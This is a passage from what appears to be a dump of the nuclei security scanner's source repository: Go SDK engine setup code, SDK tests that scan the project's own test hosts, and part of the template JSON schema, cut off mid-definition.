e.opts.Logger != e.Logger {\n\t\te.Logger = e.opts.Logger\n\t}\n\n\tif e.opts.Verbose {\n\t\te.Logger.SetMaxLevel(levels.LevelVerbose)\n\t} else if e.opts.Debug {\n\t\te.Logger.SetMaxLevel(levels.LevelDebug)\n\t} else if e.opts.Silent {\n\t\te.Logger.SetMaxLevel(levels.LevelSilent)\n\t}\n\n\tif err := runner.ValidateOptions(e.opts); err != nil {\n\t\treturn err\n\t}\n\n\tif e.opts.Parser != nil {\n\t\tif op, ok := e.opts.Parser.(*templates.Parser); ok {\n\t\t\te.parser = op\n\t\t}\n\t}\n\n\tif e.parser == nil {\n\t\te.parser = templates.NewParser()\n\t}\n\n\tif protocolstate.ShouldInit(e.opts.ExecutionId) {\n\t\t_ = protocolinit.Init(e.opts)\n\t}\n\n\tif e.opts.ProxyInternal && e.opts.AliveHttpProxy != \"\" || e.opts.AliveSocksProxy != \"\" {\n\t\thttpclient, err := httpclientpool.Get(e.opts, &httpclientpool.Configuration{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\te.httpClient = httpclient\n\t}\n\n\te.applyRequiredDefaults(ctx)\n\tvar err error\n\n\t// setup progressbar\n\tif e.enableStats {\n\t\tprogressInstance, progressErr := progress.NewStatsTicker(e.opts.StatsInterval, e.enableStats, e.opts.StatsJSON, false, e.opts.MetricsPort)\n\t\tif progressErr != nil {\n\t\t\treturn err\n\t\t}\n\t\te.customProgress = progressInstance\n\t\te.interactshOpts.Progress = progressInstance\n\t}\n\n\tif err := reporting.CreateConfigIfNotExists(); err != nil {\n\t\treturn err\n\t}\n\t// we don't support reporting config in sdk mode\n\tif e.rc, err = reporting.New(&reporting.Options{}, \"\", false); err != nil {\n\t\treturn err\n\t}\n\te.interactshOpts.IssuesClient = e.rc\n\tif e.httpClient != nil {\n\t\te.interactshOpts.HTTPClient = e.httpClient\n\t}\n\tif e.interactshClient, err = interactsh.New(e.interactshOpts); err != nil {\n\t\treturn err\n\t}\n\n\tif e.opts.Headless {\n\t\tif engine.MustDisableSandbox() {\n\t\t\te.Logger.Warning().Msgf(\"The current platform and privileged user will run the browser without sandbox\")\n\t\t}\n\t\tbrowser, err := engine.New(e.opts)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\te.browserInstance = browser\n\t}\n\n\tif e.catalog == nil {\n\t\te.catalog = disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)\n\t}\n\n\tif e.tmpDir == \"\" {\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-tmp-*\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\te.tmpDir = tmpDir\n\t}\n\n\te.executerOpts = &protocols.ExecutorOptions{\n\t\tOutput:             e.customWriter,\n\t\tOptions:            e.opts,\n\t\tProgress:           e.customProgress,\n\t\tCatalog:            e.catalog,\n\t\tIssuesClient:       e.rc,\n\t\tRateLimiter:        e.rateLimiter,\n\t\tInteractsh:         e.interactshClient,\n\t\tColorizer:          aurora.NewAurora(true),\n\t\tResumeCfg:          types.NewResumeCfg(),\n\t\tBrowser:            e.browserInstance,\n\t\tParser:             e.parser,\n\t\tInputHelper:        input.NewHelper(),\n\t\tTemporaryDirectory: e.tmpDir,\n\t\tLogger:             e.opts.Logger,\n\t}\n\tif e.opts.ShouldUseHostError() && e.hostErrCache != nil {\n\t\te.executerOpts.HostErrorsCache = e.hostErrCache\n\t}\n\tif len(e.opts.SecretsFile) > 0 {\n\t\tauthTmplStore, err := runner.GetAuthTmplStore(e.opts, e.catalog, e.executerOpts)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to load dynamic auth templates\")\n\t\t}\n\t\tauthOpts := &authprovider.AuthProviderOptions{SecretsFiles: e.opts.SecretsFile}\n\t\tauthOpts.LazyFetchSecret = runner.GetLazyAuthFetchCallback(&runner.AuthLazyFetchOptions{\n\t\t\tTemplateStore: authTmplStore,\n\t\t\tExecOpts:      e.executerOpts,\n\t\t})\n\t\t// initialize auth provider\n\t\tprovider, err := authprovider.NewAuthProvider(authOpts)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not create auth provider\")\n\t\t}\n\t\te.executerOpts.AuthProvider = provider\n\t}\n\tif e.authprovider != nil {\n\t\te.executerOpts.AuthProvider = e.authprovider\n\t}\n\n\t// prefetch secrets to ensure authentication completes before scanning starts\n\tif e.executerOpts.AuthProvider != nil {\n\t\tif err := e.executerOpts.AuthProvider.PreFetchSecrets(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not prefetch secrets\")\n\t\t}\n\t}\n\n\tif e.executerOpts.RateLimiter == nil {\n\t\tif e.opts.RateLimitMinute > 0 {\n\t\t\te.opts.RateLimit = e.opts.RateLimitMinute\n\t\t\te.opts.RateLimitDuration = time.Minute\n\t\t}\n\t\tif e.opts.RateLimit > 0 && e.opts.RateLimitDuration == 0 {\n\t\t\te.opts.RateLimitDuration = time.Second\n\t\t}\n\t\tif e.opts.RateLimit == 0 && e.opts.RateLimitDuration == 0 {\n\t\t\te.executerOpts.RateLimiter = ratelimit.NewUnlimited(ctx)\n\t\t} else {\n\t\t\te.executerOpts.RateLimiter = ratelimit.New(ctx, uint(e.opts.RateLimit), e.opts.RateLimitDuration)\n\t\t}\n\t}\n\n\t// Handle the case where the user passed an existing parser that we can use as a cache\n\tif e.opts.Parser != nil {\n\t\tif cachedParser, ok := e.opts.Parser.(*templates.Parser); ok {\n\t\t\te.parser = cachedParser\n\t\t\te.opts.Parser = cachedParser\n\t\t\te.executerOpts.Parser = cachedParser\n\t\t\te.executerOpts.Options.Parser = cachedParser\n\t\t}\n\t}\n\n\t// Create a new parser if necessary\n\tif e.parser == nil {\n\t\top := templates.NewParser()\n\t\te.parser = op\n\t\te.opts.Parser = op\n\t\te.executerOpts.Parser = op\n\t\te.executerOpts.Options.Parser = op\n\t}\n\n\te.engine = core.New(e.opts)\n\te.engine.SetExecuterOptions(e.executerOpts)\n\n\thttpxOptions := httpx.DefaultOptions\n\thttpxOptions.Timeout = 5 * time.Second\n\tif client, err := httpx.New(&httpxOptions); err != nil {\n\t\treturn err\n\t} else {\n\t\te.httpxClient = nucleiUtils.GetInputLivenessChecker(client)\n\t}\n\n\t// Only Happens once regardless how many times this function is called\n\t// This will update ignore file to filter out templates with weak matchers to avoid false positives\n\t// and also upgrade templates to latest version if available\n\tinstaller.NucleiSDKVersionCheck()\n\n\tif DefaultConfig.CanCheckForUpdates() {\n\t\treturn e.processUpdateCheckResults()\n\t}\n\treturn nil\n}\n\ntype syncOnce struct {\n\tsync.Once\n}\n\nvar updateCheckInstance = &syncOnce{}\n\n// processUpdateCheckResults processes update check results\nfunc (e *NucleiEngine) processUpdateCheckResults() error {\n\tvar err error\n\tupdateCheckInstance.Do(func() {\n\t\tif e.onUpdateAvailableCallback != nil {\n\t\t\te.onUpdateAvailableCallback(config.DefaultConfig.LatestNucleiTemplatesVersion)\n\t\t}\n\t\ttm := installer.TemplateManager{}\n\t\terr = tm.UpdateIfOutdated()\n\t})\n\treturn err\n}\n"
  },
  {
    "path": "lib/sdk_test.go",
    "content": "package nuclei_test\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"testing\"\n\t\"time\"\n\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestContextCancelNucleiEngine(t *testing.T) {\n\t// create nuclei engine with options\n\tctx, cancel := context.WithCancel(context.Background())\n\tne, err := nuclei.NewNucleiEngineCtx(ctx,\n\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{Tags: []string{\"oast\"}}),\n\t\tnuclei.EnableStatsWithOpts(nuclei.StatsOptions{MetricServerPort: 0}),\n\t)\n\trequire.NoError(t, err, \"could not create nuclei engine\")\n\n\tgo func() {\n\t\ttime.Sleep(time.Second * 2)\n\t\tcancel()\n\t\tlog.Println(\"Test: context cancelled\")\n\t}()\n\n\t// load targets and optionally probe non http/https targets\n\tne.LoadTargets([]string{\"http://honey.scanme.sh\"}, false)\n\t// when callback is nil it nuclei will print JSON output to stdout\n\terr = ne.ExecuteWithCallback(nil)\n\tif err != nil {\n\t\t// we expect a context cancellation error\n\t\trequire.ErrorIs(t, err, context.Canceled, \"was expecting context cancellation error\")\n\t}\n\tdefer ne.Close()\n}\n\nfunc TestHeadlessOptionInitialization(t *testing.T) {\n\tne, err := nuclei.NewNucleiEngineCtx(\n\t\tcontext.Background(),\n\t\tnuclei.EnableHeadlessWithOpts(&nuclei.HeadlessOpts{\n\t\t\tPageTimeout:     20,\n\t\t\tShowBrowser:     false,\n\t\t\tUseChrome:       false,\n\t\t\tHeadlessOptions: []string{},\n\t\t}),\n\t)\n\n\trequire.NoError(t, err, \"could not create nuclei engine with headless options\")\n\trequire.NotNil(t, ne, \"nuclei engine should not be nil\")\n\n\t// Verify logger is initialized\n\trequire.NotNil(t, ne.Logger, \"logger should be initialized\")\n\n\tdefer ne.Close()\n}\n"
  },
  {
    "path": "lib/tests/sdk_test.go",
    "content": "package sdk_test\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"os/exec\"\n\t\"testing\"\n\t\"time\"\n\n\tnuclei \"github.com/projectdiscovery/nuclei/v3/lib\"\n\t\"github.com/projectdiscovery/utils/env\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/tarunKoyalwar/goleak\"\n)\n\nvar knownLeaks = []goleak.Option{\n\t// prettyify the output and generate dependency graph and more details instead of just stack output\n\tgoleak.Pretty(),\n\t// net/http transport maintains idle connections which are closed with cooldown\n\t// hence they don't count as leaks\n\tgoleak.IgnoreAnyFunction(\"net/http.(*http2ClientConn).readLoop\"),\n}\n\nfunc TestSimpleNuclei(t *testing.T) {\n\tfn := func() {\n\t\tdefer func() {\n\t\t\t// resources like leveldb have a delay to commit in-memory resources\n\t\t\t// to disk, typically 1-2 seconds, so we wait for 2 seconds\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\tgoleak.VerifyNone(t, knownLeaks...)\n\t\t}()\n\t\tne, err := nuclei.NewNucleiEngineCtx(\n\t\t\tcontext.TODO(),\n\t\t\tnuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}), // filter dns templates\n\t\t\tnuclei.EnableStatsWithOpts(nuclei.StatsOptions{JSON: true}),\n\t\t)\n\t\trequire.Nil(t, err)\n\t\tne.LoadTargets([]string{\"scanme.sh\"}, false) // probe non http/https target is set to false here\n\t\t// when callback is nil it nuclei will print JSON output to stdout\n\t\terr = ne.ExecuteWithCallback(nil)\n\t\trequire.Nil(t, err)\n\t\tdefer ne.Close()\n\t}\n\n\t// this is shared test so needs to be run as separate process\n\tif env.GetEnvOrDefault(\"TestSimpleNuclei\", false) {\n\t\t// run as new process\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=TestSimpleNuclei\")\n\t\tcmd.Env = append(os.Environ(), \"TestSimpleNuclei=true\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"process ran with error %s, output: %s\", err, out)\n\t\t}\n\t} else {\n\t\tfn()\n\t}\n}\n\nfunc TestSimpleNucleiRemote(t *testing.T) {\n\tfn := func() {\n\t\tdefer func() {\n\t\t\t// resources like leveldb have a delay to commit in-memory resources\n\t\t\t// to disk, typically 1-2 seconds, so we wait for 2 seconds\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\tgoleak.VerifyNone(t, knownLeaks...)\n\t\t}()\n\t\tne, err := nuclei.NewNucleiEngineCtx(\n\t\t\tcontext.TODO(),\n\t\t\tnuclei.WithTemplatesOrWorkflows(\n\t\t\t\tnuclei.TemplateSources{\n\t\t\t\t\tRemoteTemplates: []string{\"https://cloud.projectdiscovery.io/public/nameserver-fingerprint.yaml\"},\n\t\t\t\t},\n\t\t\t),\n\t\t)\n\t\trequire.Nil(t, err)\n\t\tne.LoadTargets([]string{\"scanme.sh\"}, false) // probe non http/https target is set to false here\n\t\terr = ne.LoadAllTemplates()\n\t\trequire.Nil(t, err, \"could not load templates\")\n\t\t// when callback is nil it nuclei will print JSON output to stdout\n\t\terr = ne.ExecuteWithCallback(nil)\n\t\trequire.Nil(t, err)\n\t\tdefer ne.Close()\n\t}\n\t// this is shared test so needs to be run as separate process\n\tif env.GetEnvOrDefault(\"TestSimpleNucleiRemote\", false) {\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=TestSimpleNucleiRemote\")\n\t\tcmd.Env = append(os.Environ(), \"TestSimpleNucleiRemote=true\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"process ran with error %s, output: %s\", err, out)\n\t\t}\n\t} else {\n\t\tfn()\n\t}\n}\n\nfunc TestThreadSafeNuclei(t *testing.T) {\n\tfn := func() {\n\t\tdefer func() {\n\t\t\t// resources like leveldb have a delay to commit in-memory resources\n\t\t\t// to disk, typically 1-2 seconds, so we wait for 2 seconds\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\tgoleak.VerifyNone(t, knownLeaks...)\n\t\t}()\n\t\t// create nuclei engine with options\n\t\tne, err := nuclei.NewThreadSafeNucleiEngineCtx(context.TODO())\n\t\trequire.Nil(t, err)\n\n\t\t// scan 1 = run dns templates on scanme.sh\n\t\tt.Run(\"scanme.sh\", func(t *testing.T) {\n\t\t\terr = ne.ExecuteNucleiWithOpts([]string{\"scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}))\n\t\t\trequire.Nil(t, err)\n\t\t})\n\n\t\t// scan 2 = run dns templates on honey.scanme.sh\n\t\tt.Run(\"honey.scanme.sh\", func(t *testing.T) {\n\t\t\terr = ne.ExecuteNucleiWithOpts([]string{\"honey.scanme.sh\"}, nuclei.WithTemplateFilters(nuclei.TemplateFilters{ProtocolTypes: \"dns\"}))\n\t\t\trequire.Nil(t, err)\n\t\t})\n\n\t\t// wait for all scans to finish\n\t\tdefer ne.Close()\n\t}\n\n\tif env.GetEnvOrDefault(\"TestThreadSafeNuclei\", false) {\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=TestThreadSafeNuclei\")\n\t\tcmd.Env = append(os.Environ(), \"TestThreadSafeNuclei=true\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"process ran with error %s, output: %s\", err, out)\n\t\t}\n\t} else {\n\t\tfn()\n\t}\n}\n\nfunc TestWithVarsNuclei(t *testing.T) {\n\tfn := func() {\n\t\tdefer func() {\n\t\t\t// resources like leveldb have a delay to commit in-memory resources\n\t\t\t// to disk, typically 1-2 seconds, so we wait for 2 seconds\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\tgoleak.VerifyNone(t, knownLeaks...)\n\t\t}()\n\t\tne, err := nuclei.NewNucleiEngineCtx(\n\t\t\tcontext.TODO(),\n\t\t\tnuclei.EnableSelfContainedTemplates(),\n\t\t\tnuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{Templates: []string{\"http/token-spray/api-1forge.yaml\"}}),\n\t\t\tnuclei.WithVars([]string{\"token=foobar\"}),\n\t\t\tnuclei.WithVerbosity(nuclei.VerbosityOptions{Debug: true}),\n\t\t)\n\t\trequire.Nil(t, err)\n\t\tne.LoadTargets([]string{\"scanme.sh\"}, true) // probe http/https target is set to true here\n\t\terr = ne.ExecuteWithCallback(nil)\n\t\trequire.Nil(t, err)\n\t\tdefer ne.Close()\n\t}\n\t// this is shared test so needs to be run as separate process\n\tif env.GetEnvOrDefault(\"TestWithVarsNuclei\", false) {\n\t\tcmd := exec.Command(os.Args[0], \"-test.run=TestWithVarsNuclei\")\n\t\tcmd.Env = append(os.Environ(), \"TestWithVarsNuclei=true\")\n\t\tout, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"process ran with error %s, output: %s\", err, out)\n\t\t}\n\t} else {\n\t\tfn()\n\t}\n}\n"
  },
  {
    "path": "nuclei-jsonschema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2020-12/schema\",\n  \"$id\": \"https://templates.-template\",\n  \"$ref\": \"#/$defs/templates.Template\",\n  \"$defs\": {\n    \"analyzers.AnalyzerTemplate\": {\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\"\n        },\n        \"parameters\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"name\",\n        \"parameters\"\n      ]\n    },\n    \"code.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID is the optional ID of the Request\"\n        },\n        \"engine\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"engine\",\n          \"description\": \"Engine\"\n        },\n        \"sandbox\": {\n          \"$ref\": \"#/$defs/code.Sandbox\",\n          \"title\": \"sandbox\",\n          \"description\": \"Sandbox\"\n        },\n        \"pre-condition\": {\n          \"type\": \"string\",\n          \"title\": \"pre-condition for the request\",\n          \"description\": \"PreCondition is a condition which is evaluated before sending the request\"\n        },\n        \"args\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"args\",\n          \"description\": \"Args\"\n        },\n        \"pattern\": {\n          \"type\": \"string\",\n          \"title\": \"pattern\",\n          \"description\": \"Pattern\"\n        },\n        \"source\": {\n          \"type\": \"string\",\n          \"title\": \"source file/snippet\",\n          \"description\": \"Source snippet\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"code.Sandbox\": {\n      \"properties\": {\n        \"working-dir\": {\n          \"type\": \"string\",\n          \"title\": \"working-dir\",\n          \"description\": \"Working directory\"\n        },\n        \"image\": {\n          \"type\": \"string\",\n          \"title\": \"image\",\n          \"description\": \"Image\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"dns.DNSRequestTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"A\",\n        \"NS\",\n        \"DS\",\n        \"CNAME\",\n        \"SOA\",\n        \"PTR\",\n        \"MX\",\n        \"TXT\",\n        \"AAAA\",\n        \"CAA\",\n        \"TLSA\",\n        \"ANY\",\n        \"SRV\"\n      ],\n      \"title\": \"type of DNS request to make\",\n      \"description\": \"Type is the type of DNS request to make\"\n    },\n    \"dns.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the dns request\",\n          \"description\": \"ID is the optional ID of the DNS Request\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"hostname to make dns request for\",\n          \"description\": \"Name is the Hostname to make DNS request for\"\n        },\n        \"type\": {\n          \"$ref\": \"#/$defs/dns.DNSRequestTypeHolder\",\n          \"title\": \"type of dns request to make\",\n          \"description\": \"Type is the type of DNS request to make\"\n        },\n        \"class\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"inet\",\n            \"csnet\",\n            \"chaos\",\n            \"hesiod\",\n            \"none\",\n            \"any\"\n          ],\n          \"title\": \"class of DNS request\",\n          \"description\": \"Class is the class of the DNS request\"\n        },\n        \"retries\": {\n          \"type\": \"integer\",\n          \"title\": \"retries for dns request\",\n          \"description\": \"Retries is the number of retries for the DNS request\"\n        },\n        \"trace\": {\n          \"type\": \"boolean\",\n          \"title\": \"trace operation\",\n          \"description\": \"Trace performs a trace operation for the target.\"\n        },\n        \"trace-max-recursion\": {\n          \"type\": \"integer\",\n          \"title\": \"trace-max-recursion level for dns request\",\n          \"description\": \"TraceMaxRecursion is the number of max recursion allowed for trace operations\"\n        },\n        \"attack\": {\n          \"$ref\": \"#/$defs/generators.AttackTypeHolder\",\n          \"title\": \"attack is the payload combination\",\n          \"description\": \"Attack is the type of payload combinations to perform\"\n        },\n        \"payloads\": {\n          \"$ref\": \"#/$defs/map[string]interface {}\",\n          \"title\": \"payloads for the network request\",\n          \"description\": \"Payloads contains any payloads for the current request\"\n        },\n        \"threads\": {\n          \"type\": \"integer\",\n          \"title\": \"threads for sending requests\",\n          \"description\": \"Threads specifies number of threads to use sending requests. This enables Connection Pooling\"\n        },\n        \"recursion\": {\n          \"type\": \"boolean\",\n          \"title\": \"recurse all servers\",\n          \"description\": \"Recursion determines if resolver should recurse all records to get fresh results\"\n        },\n        \"resolvers\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"Resolvers\",\n          \"description\": \"Define resolvers to use within the template\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"engine.Action\": {\n      \"properties\": {\n        \"args\": {\n          \"patternProperties\": {\n            \".*\": {\n              \"oneOf\": [\n                {\n                  \"type\": \"string\"\n                },\n                {\n                  \"type\": \"integer\"\n                },\n                {\n                  \"type\": \"boolean\"\n                }\n              ]\n            }\n          },\n          \"title\": \"arguments for headless action\",\n          \"description\": \"Args contain arguments for the headless action\"\n        },\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"name for headless action\",\n          \"description\": \"Name is the name assigned to the headless action\"\n        },\n        \"description\": {\n          \"type\": \"string\",\n          \"title\": \"description for headless action\",\n          \"description\": \"Description of the headless action\"\n        },\n        \"action\": {\n          \"$ref\": \"#/$defs/engine.ActionTypeHolder\",\n          \"title\": \"action to perform\",\n          \"description\": \"Type of actions to perform\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"action\"\n      ]\n    },\n    \"engine.ActionTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"navigate\",\n        \"script\",\n        \"click\",\n        \"rightclick\",\n        \"text\",\n        \"screenshot\",\n        \"time\",\n        \"select\",\n        \"files\",\n        \"waitdom\",\n        \"waitfcp\",\n        \"waitfmp\",\n        \"waitidle\",\n        \"waitload\",\n        \"waitstable\",\n        \"getresource\",\n        \"extract\",\n        \"setmethod\",\n        \"addheader\",\n        \"setheader\",\n        \"deleteheader\",\n        \"setbody\",\n        \"waitevent\",\n        \"waitdialog\",\n        \"keyboard\",\n        \"debug\",\n        \"sleep\",\n        \"waitvisible\"\n      ],\n      \"title\": \"action to perform\",\n      \"description\": \"Type of actions to perform\"\n    },\n    \"extractors.Extractor\": {\n      \"properties\": {\n        \"name\": {\n          \"type\": \"string\",\n          \"title\": \"name of the extractor\",\n          \"description\": \"Name of the extractor\"\n        },\n        \"type\": {\n          \"$ref\": \"#/$defs/extractors.ExtractorTypeHolder\"\n        },\n        \"regex\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"regex to extract from part\",\n          \"description\": \"Regex to extract from part\"\n        },\n        \"group\": {\n          \"type\": \"integer\",\n          \"title\": \"group to extract from regex\",\n          \"description\": \"Group to extract from regex\"\n        },\n        \"kval\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"kval pairs to extract from response\",\n          \"description\": \"Kval pairs to extract from response\"\n        },\n        \"json\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"json jq expressions to extract data\",\n          \"description\": \"JSON JQ expressions to evaluate from response part\"\n        },\n        \"xpath\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"html xpath expressions to extract data\",\n          \"description\": \"XPath allows using xpath expressions to extract items from html response\"\n        },\n        \"attribute\": {\n          \"type\": \"string\",\n          \"title\": \"optional attribute to extract from xpath\",\n          \"description\": \"Optional attribute to extract from response XPath\"\n        },\n        \"dsl\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"dsl expressions to extract\",\n          \"description\": \"Optional attribute to extract from response dsl\"\n        },\n        \"part\": {\n          \"type\": \"string\",\n          \"title\": \"part of response to extract data from\",\n          \"description\": \"Part of the request response to extract data from\"\n        },\n        \"internal\": {\n          \"type\": \"boolean\",\n          \"title\": \"mark extracted value for internal variable use\",\n          \"description\": \"Internal when set to true will allow using the value extracted in the next request for some protocols\"\n        },\n        \"case-insensitive\": {\n          \"type\": \"boolean\",\n          \"title\": \"use case insensitive extract\",\n          \"description\": \"use case insensitive extract\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\",\n      \"required\": [\n        \"type\"\n      ]\n    },\n    \"extractors.ExtractorTypeHolder\": {\n      \"type\": \"string\",\n      \"enum\": [\n        \"regex\",\n        \"kval\",\n        \"xpath\",\n        \"json\",\n        \"dsl\"\n      ],\n      \"title\": \"type of the extractor\",\n      \"description\": \"Type of the extractor\"\n    },\n    \"file.Request\": {\n      \"properties\": {\n        \"matchers\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/matchers.Matcher\"\n          },\n          \"type\": \"array\",\n          \"title\": \"matchers to run on response\",\n          \"description\": \"Detection mechanism to identify whether the request was successful by doing pattern matching\"\n        },\n        \"extractors\": {\n          \"items\": {\n            \"$ref\": \"#/$defs/extractors.Extractor\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extractors to run on response\",\n          \"description\": \"Extractors contains the extraction mechanism for the request to identify and extract parts of the response\"\n        },\n        \"matchers-condition\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"and\",\n            \"or\"\n          ],\n          \"title\": \"condition between the matchers\",\n          \"description\": \"Conditions between the matchers\"\n        },\n        \"extensions\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"extensions to match\",\n          \"description\": \"List of extensions to perform matching on\"\n        },\n        \"denylist\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"denylist\",\n          \"description\": \"List of files\"\n        },\n        \"id\": {\n          \"type\": \"string\",\n          \"title\": \"id of the request\",\n          \"description\": \"ID is the optional ID for the request\"\n        },\n        \"max-size\": {\n          \"type\": \"string\",\n          \"title\": \"max size data to run request on\",\n          \"description\": \"Maximum size of the file to run request on\"\n        },\n        \"archive\": {\n          \"type\": \"boolean\",\n          \"title\": \"enable archives\",\n          \"description\": \"Process compressed archives without unpacking\"\n        },\n        \"mime-type\": {\n          \"type\": \"boolean\",\n          \"title\": \"enable filtering by mime-type\",\n          \"description\": \"Filter files by mime-type\"\n        },\n        \"no-recursive\": {\n          \"type\": \"boolean\",\n          \"title\": \"do not perform recursion\",\n          \"description\": \"Specifies whether to not do recursive checks if folders are provided\"\n        }\n      },\n      \"additionalProperties\": false,\n      \"type\": \"object\"\n    },\n    \"fuzz.Rule\": {\n      \"properties\": {\n        \"type\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"replace\",\n            \"prefix\",\n            \"postfix\",\n            \"infix\",\n            \"replace-regex\"\n          ],\n          \"title\": \"type of rule\",\n          \"description\": \"Type of fuzzing rule to perform\"\n        },\n        \"part\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"query\",\n            \"header\",\n            \"path\",\n            \"body\",\n            \"cookie\",\n            \"request\"\n          ],\n          \"title\": \"part of rule\",\n          \"description\": \"Part of request rule to fuzz\"\n        },\n        \"parts\": {\n          \"items\": {\n            \"type\": \"string\",\n            \"enum\": [\n              \"query\",\n              \"header\",\n              \"path\",\n              \"body\",\n              \"cookie\",\n              \"request\"\n            ]\n          },\n          \"type\": \"array\",\n          \"title\": \"parts of rule\",\n          \"description\": \"Part of request rule to fuzz\"\n        },\n        \"mode\": {\n          \"type\": \"string\",\n          \"enum\": [\n            \"single\",\n            \"multiple\"\n          ],\n          \"title\": \"mode of rule\",\n          \"description\": \"Mode of request rule to fuzz\"\n        },\n        \"keys\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"keys of parameters to fuzz\",\n          \"description\": \"Keys of parameters to fuzz\"\n        },\n        \"keys-regex\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"keys regex to fuzz\",\n          \"description\": \"Regex of parameter keys to fuzz\"\n        },\n        \"values\": {\n          \"items\": {\n            \"type\": \"string\"\n          },\n          \"type\": \"array\",\n          \"title\": \"values regex to fuzz\",\n          \"description\": \"Regex of parameter values to fuzz\"\n        },\n        \"fuzz\": 